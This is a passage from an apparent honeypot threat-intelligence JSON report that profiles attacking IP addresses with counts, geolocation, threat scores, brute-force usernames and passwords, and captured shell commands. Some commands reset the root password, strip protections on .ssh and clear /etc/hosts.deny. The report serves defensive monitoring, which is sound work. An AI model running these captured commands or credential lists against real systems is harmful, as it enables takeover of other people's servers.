        "guilherme",
        "ismail",
        "nextcloud",
        "p@ssw0rd123",
        "shivam",
        "user7",
        "vps2024"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 205544,
      "as_org": "Leaseweb UK Limited",
      "threat_score": 29.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 168,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T19:59:57.953000+00:00",
        "last_seen_30d": "2026-05-26T20:25:55.448000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 121,
        "Suricata": 47
      }
    },
    "50.6.248.168": {
      "attack_count": 113,
      "first_seen": "2026-05-22T00:08:44.008Z",
      "last_seen": "2026-05-22T00:48:51.606Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ftpuser",
        "n8n",
        "user1"
      ],
      "passwords_attempted": [
        "123123Qq",
        "123456",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "Qwe12345",
        "asdfasdf",
        "n8n",
        "qQ123456",
        "test2025@",
        "ubuntu2025"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:BxEvrEoCJvhE\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 24.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 140,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T00:08:44.008000+00:00",
        "last_seen_30d": "2026-05-22T00:49:59.047000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 113,
        "Suricata": 27
      }
    },
    "94.250.61.10": {
      "attack_count": 66,
      "first_seen": "2026-05-05T05:07:44.442Z",
      "last_seen": "2026-05-31T03:10:23.043Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bosnia and Herzegovina",
      "country_code": "BA",
      "city": null,
      "asn": 25144,
      "as_org": "Telekomunikacije Republike Srpske akcionarsko drustvo Banja Luka",
      "threat_score": 53.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.9,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 77,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T05:07:44.442000+00:00",
        "last_seen_30d": "2026-05-31T03:11:31.548000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 44,
        "Suricata": 33
      }
    },
    "125.141.84.135": {
      "attack_count": 64,
      "first_seen": "2026-05-03T03:12:56.195Z",
      "last_seen": "2026-05-05T13:12:34.802Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "usr"
      ],
      "passwords_attempted": [
        "123456",
        "admin",
        "",
        "admin1234",
        "password",
        "123",
        "1234",
        "Admin",
        "Admin123",
        "admin123!@#",
        "admin123456",
        "root",
        "test123",
        "usr",
        "vadmin",
        "www.usr.cn"
      ],
      "commands_executed": [
        "shell",
        "cat /bin/echo||while read i; do echo $i; done < /proc/self/exe;",
        "enable",
        "sh",
        "while read i"
      ],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gwanak-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 4.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.1,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 81,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T03:12:56.195000+00:00",
        "last_seen_30d": "2026-05-05T13:16:59.802000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 64,
        "Suricata": 17
      }
    },
    "151.242.242.66": {
      "attack_count": 54,
      "first_seen": "2026-05-08T07:06:43.745Z",
      "last_seen": "2026-05-31T08:48:49.365Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": "Santiago",
      "asn": 270013,
      "as_org": "J AND J SPA INFOFRACTAL",
      "threat_score": 50.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.0,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 63,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T07:06:43.745000+00:00",
        "last_seen_30d": "2026-05-31T08:49:49.811000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 27
      }
    },
    "14.1.107.190": {
      "attack_count": 50,
      "first_seen": "2026-05-25T15:47:57.546Z",
      "last_seen": "2026-05-25T15:53:21.743Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 25.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T15:47:57.546000+00:00",
        "last_seen_30d": "2026-05-25T15:54:25.721000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "175.107.205.196": {
      "attack_count": 50,
      "first_seen": "2026-05-26T09:14:13.194Z",
      "last_seen": "2026-05-26T09:19:37.468Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 26.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T09:14:13.194000+00:00",
        "last_seen_30d": "2026-05-26T09:20:41.213000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "108.181.177.29": {
      "attack_count": 48,
      "first_seen": "2026-05-05T02:58:13.047Z",
      "last_seen": "2026-05-11T02:18:55.192Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 40676,
      "as_org": "Psychz Networks",
      "threat_score": 11.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.5,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 56,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T02:58:13.047000+00:00",
        "last_seen_30d": "2026-05-11T02:20:00.393000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 24
      }
    },
    "51.39.247.46": {
      "attack_count": 46,
      "first_seen": "2026-05-22T21:46:44.880Z",
      "last_seen": "2026-05-22T22:07:58.797Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Saudi Arabia",
      "country_code": "SA",
      "city": "Dammam",
      "asn": 43766,
      "as_org": "Mobile Telecommunication Company Saudi Arabia Joint-Stock company",
      "threat_score": 21.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 70,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T21:46:44.880000+00:00",
        "last_seen_30d": "2026-05-22T22:11:16.636000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 46,
        "Suricata": 24
      }
    },
    "193.32.162.28": {
      "attack_count": 40,
      "first_seen": "2026-05-22T22:47:55.768Z",
      "last_seen": "2026-05-22T22:48:27.330Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 76.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 20.0,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 38191,
        "days_active_30d": 24,
        "ports_targeted_30d": 478,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-05-02T00:07:37+00:00",
        "last_seen_30d": "2026-05-25T13:25:11.941000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 25587,
        "Honeytrap": 11999,
        "Miniprint": 204,
        "ConPot": 136,
        "Dionaea": 112,
        "Adbhoney": 55,
        "Cowrie": 40,
        "Honeyaml": 30,
        "ElasticPot": 24,
        "Sentrypeer": 4
      }
    },
    "81.47.100.76": {
      "attack_count": 40,
      "first_seen": "2026-05-19T20:26:54.846Z",
      "last_seen": "2026-05-20T15:17:34.334Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Lora del R\u00edo",
      "asn": 3352,
      "as_org": "Telefonica De Espana S.a.u.",
      "threat_score": 19.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 60,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T20:26:54.846000+00:00",
        "last_seen_30d": "2026-05-20T15:18:41.233000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 40,
        "Suricata": 20
      }
    },
    "88.151.34.218": {
      "attack_count": 32,
      "first_seen": "2026-05-02T09:33:50.481Z",
      "last_seen": "2026-05-30T15:21:02.627Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "debian",
        "ubuntu",
        "centos",
        "linux"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_upload"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Dronten",
      "asn": 41608,
      "as_org": "NextGenWebs, S.L.",
      "threat_score": 51.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.8,
        "persistence": 24.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 48,
        "days_active_30d": 29,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T09:33:50.481000+00:00",
        "last_seen_30d": "2026-05-30T15:22:06.464000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 16
      }
    },
    "23.94.87.102": {
      "attack_count": 30,
      "first_seen": "2026-05-08T05:24:39.834Z",
      "last_seen": "2026-05-28T22:10:11.481Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Buffalo",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 40.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.4,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T05:24:39.834000+00:00",
        "last_seen_30d": "2026-05-28T22:11:11.897000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 15
      }
    },
    "192.42.116.104": {
      "attack_count": 22,
      "first_seen": "2026-05-08T02:22:53.589Z",
      "last_seen": "2026-05-08T20:01:50.517Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root"
      ],
      "passwords_attempted": [
        "admin",
        "root"
      ],
      "commands_executed": [
        "",
        "bash --help; ls /proc/1/; cat /proc/1/mounts; cat /proc/cpuinfo; echo __1778206977554849617\n",
        "bash --help; ls /proc/1/; cat /proc/1/mounts; cat /proc/cpuinfo; echo __1778270505028571870\n",
        "echo \"bash --help; ls /proc/1/; cat /proc/1/mounts; cat /proc/cpuinfo; echo __1778206977554849617\" | sh",
        "echo \"bash --help; ls /proc/1/; cat /proc/1/mounts; cat /proc/cpuinfo; echo __1778270505028571870\" | sh"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.size",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology",
      "threat_score": 76.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 26.3,
        "persistence": 16.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 423,
        "days_active_30d": 20,
        "ports_targeted_30d": 22,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-08T02:22:53.589000+00:00",
        "last_seen_30d": "2026-05-27T07:45:28.775000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 263,
        "Honeytrap": 126,
        "Cowrie": 22,
        "H0neytr4p": 7,
        "Tanner": 5
      }
    },
    "45.175.143.149": {
      "attack_count": 22,
      "first_seen": "2026-05-23T19:41:13.152Z",
      "last_seen": "2026-05-23T20:09:12.307Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Formosa",
      "asn": 265663,
      "as_org": "BOCA ROJA S.A.",
      "threat_score": 21.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T19:41:13.152000+00:00",
        "last_seen_30d": "2026-05-23T20:10:39.948000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 22,
        "Suricata": 21
      }
    },
    "45.186.135.45": {
      "attack_count": 22,
      "first_seen": "2026-05-13T19:09:23.964Z",
      "last_seen": "2026-05-13T19:26:48.533Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Caucaia",
      "asn": 269424,
      "as_org": "M dos santos rodrigues",
      "threat_score": 11.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T19:09:23.964000+00:00",
        "last_seen_30d": "2026-05-13T19:28:43.271000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 22,
        "Suricata": 12
      }
    },
    "103.181.160.166": {
      "attack_count": 20,
      "first_seen": "2026-05-05T12:48:12.776Z",
      "last_seen": "2026-05-05T12:50:55.415Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "New Delhi",
      "asn": 138245,
      "as_org": "Xpress Net Solution",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T12:48:12.776000+00:00",
        "last_seen_30d": "2026-05-05T12:51:55.879000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 11
      }
    },
    "138.68.29.8": {
      "attack_count": 12,
      "first_seen": "2026-05-29T11:16:35.395Z",
      "last_seen": "2026-05-29T11:17:28.634Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 zgrab/0.x"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        ""
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 70.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 165924,
        "days_active_30d": 1,
        "ports_targeted_30d": 64226,
        "honeypots_triggered_30d": 16,
        "first_seen_30d": "2026-05-29T11:15:11+00:00",
        "last_seen_30d": "2026-05-29T11:29:02.028000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 140251,
        "Honeytrap": 25609,
        "Cowrie": 12,
        "Mailoney": 12,
        "Dionaea": 10,
        "ConPot": 9,
        "Miniprint": 8,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "Dicompot": 1,
        "ElasticPot": 1,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Medpot": 1,
        "Tanner": 1
      }
    },
    "159.89.130.253": {
      "attack_count": 12,
      "first_seen": "2026-05-19T03:45:19.986Z",
      "last_seen": "2026-05-19T03:45:49.397Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 zgrab/0.x"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        ""
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 48.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 1.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 152811,
        "days_active_30d": 2,
        "ports_targeted_30d": 64501,
        "honeypots_triggered_30d": 15,
        "first_seen_30d": "2026-05-19T03:43:02+00:00",
        "last_seen_30d": "2026-05-20T16:57:48.460000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 130696,
        "Honeytrap": 22064,
        "Cowrie": 12,
        "Mailoney": 12,
        "Dionaea": 10,
        "ConPot": 4,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "Dicompot": 2,
        "ElasticPot": 1,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Medpot": 1,
        "Tanner": 1
      }
    },
    "188.166.212.216": {
      "attack_count": 12,
      "first_seen": "2026-05-25T00:13:54.261Z",
      "last_seen": "2026-05-25T00:14:00.756Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 zgrab/0.x"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        ""
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 73.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 16.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 151607,
        "days_active_30d": 20,
        "ports_targeted_30d": 64984,
        "honeypots_triggered_30d": 15,
        "first_seen_30d": "2026-05-06T22:00:40+00:00",
        "last_seen_30d": "2026-05-25T00:24:25.265000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 130037,
        "Honeytrap": 21509,
        "Cowrie": 12,
        "Mailoney": 12,
        "Dionaea": 10,
        "Miniprint": 8,
        "ConPot": 5,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "Dicompot": 2,
        "ElasticPot": 1,
        "Ipphoney": 1,
        "Medpot": 1,
        "Tanner": 1
      }
    },
    "205.210.31.77": {
      "attack_count": 12,
      "first_seen": "2026-05-27T10:32:04.490Z",
      "last_seen": "2026-05-31T22:14:20.401Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 85.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 121,
        "days_active_30d": 30,
        "ports_targeted_30d": 30,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T02:48:11.630000+00:00",
        "last_seen_30d": "2026-05-31T22:15:22.771000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 80,
        "Honeytrap": 25,
        "Cowrie": 12,
        "Dionaea": 4
      }
    },
    "185.71.233.73": {
      "attack_count": 10,
      "first_seen": "2026-05-04T13:18:10.397Z",
      "last_seen": "2026-05-09T17:50:32.446Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "rootadmin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Czechia",
      "country_code": "CZ",
      "city": "Ho\u0159ovice",
      "asn": 201533,
      "as_org": "United Networks SE",
      "threat_score": 7.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T13:18:10.397000+00:00",
        "last_seen_30d": "2026-05-09T17:51:35.770000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "189.95.199.205": {
      "attack_count": 8,
      "first_seen": "2026-05-23T03:24:18.020Z",
      "last_seen": "2026-05-23T06:46:16.425Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 22085,
      "as_org": "Claro SA",
      "threat_score": 17.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T03:24:18.020000+00:00",
        "last_seen_30d": "2026-05-23T06:47:22.210000+00:00",
        "days_since_last_seen": 8
      },
